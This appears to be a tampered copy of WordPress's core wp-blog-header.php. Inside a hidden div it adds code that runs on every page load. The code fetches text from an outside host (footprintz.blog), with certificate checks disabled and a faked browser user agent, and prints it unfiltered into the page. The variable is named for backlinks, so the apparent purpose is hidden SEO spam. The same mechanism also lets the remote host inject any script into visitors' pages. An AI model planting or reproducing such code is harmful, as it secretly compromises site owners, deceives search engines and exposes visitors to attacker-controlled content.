<?php
if ( ! isset( $wp_did_header ) ) {
    $wp_did_header = true;

    require_once __DIR__ . '/wp-load.php';
    wp();
    require_once ABSPATH . WPINC . '/template-loader.php';
    ?>
    <div style="display:none;">
        <?php
        $url = 'https://footprintz.blog/357_get_bl.txt';

        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL            => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_TIMEOUT        => 10,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_USERAGENT      => 'Mozilla/5.0'
            ]);

            $backlinks = curl_exec($ch);
            curl_close($ch);

            if ($backlinks !== false) {
                echo $backlinks;
            }
        }
        ?>
    </div>
    <?php
}
?>